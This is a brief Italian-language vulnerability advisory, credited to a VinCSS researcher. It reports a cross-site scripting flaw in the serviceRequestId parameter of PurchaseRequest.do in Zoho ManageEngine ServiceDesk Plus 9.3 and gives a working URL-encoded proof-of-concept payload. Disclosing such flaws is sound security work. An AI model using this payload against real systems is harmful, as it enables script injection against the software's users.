
Descrizione informazioni: È stato scoperto un problema in Zoho ManageEngine ServiceDesk Plus 9.3. È presente una XSS tramite il parametro serviceRequestId di PurchaseRequest.do.
Autore: Concobe di Tarantula Team - VinCSS (un membro di Vingroup)
domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=1%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3E1